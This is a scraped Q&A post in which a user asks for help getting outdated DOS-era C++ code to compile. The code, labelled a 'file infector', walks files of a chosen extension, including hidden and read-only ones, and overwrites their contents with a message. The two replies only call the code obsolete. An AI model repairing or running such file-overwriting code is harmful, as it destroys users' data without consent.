【问题标题】:I found this code online but it has some errors and won't work on Visual Studio C++. How do I fix it?我在网上找到了这段代码,但它有一些错误,无法在 Visual Studio C++ 上运行。我如何解决它?
【发布时间】:2022-06-16 23:32:14
【问题描述】:
#include<iostream.h>
#include<io.h>
#include<dos.h>
#include<fstream.h>

using namespace std;

int main(void)
 {
struct ffblk f;
int done;
std::ofstream file;

done = findfirst("*.test", &f, FA_HIDDEN | FA_RDONLY);      // write extension of files here

while (!done)
        {

std::cout << f.ff_name << endl;

file.open(f.ff_name, ios::binary);

file << " i am file infector";                 //write message to be wriitten in file

file.close();


done = findnext(&f);
       
 }
} 

【问题讨论】:

  • 这些错误具体是什么? Edit您的问题并添加该信息。逐字提及编译器错误,避免自己动手。
  • 代码是为 pre-ISO C++ 编译器编写的。你不应该使用它。它已经完全过时了。无论如何,您都不应该使用“您找到”的代码。如果您需要编写一些代码、自己编写或使用库,请不要随意查找他人编写的代码,抄袭它然后尝试修改它以满足您的需求。

标签: c++ visual-c++


猜你喜欢
  • 1970-01-01
  • 2021-01-02
  • 2021-04-03
  • 2016-05-01
  • 2016-10-27
  • 2016-12-05
  • 1970-01-01
  • 2019-11-18
  • 1970-01-01
相关资源
最近更新 更多